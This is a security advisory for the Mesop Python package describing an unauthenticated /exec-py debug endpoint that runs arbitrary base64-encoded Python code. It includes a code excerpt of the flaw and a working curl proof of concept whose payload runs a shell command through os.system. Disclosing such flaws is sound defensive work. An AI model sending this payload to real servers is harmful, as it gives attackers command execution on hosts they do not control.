PT-2026-53494 · Pypi · Mesop
Published
2026-06-29
·
Updated
2026-06-29
CVSS v3.1
9.8
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
An explicit web endpoint inside the
ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.Details
The AI codebase package includes a lightweight debugging Flask server inside
ai/sandbox/wsgi app.py. The /exec-py route accepts base 64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute module(module path...).python
# ai/sandbox/wsgi app.py
@flask app.route("/exec-py", methods=["POST"])
def exec py route():
code = base64.urlsafe b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executedPoC
bash
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target ip address hosting sandbox>:port/exec-py
-H "Content-Type: application/x-www-form-urlencoded"
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attackerImpact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
Fix
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Related Identifiers
Affected Products
Mesop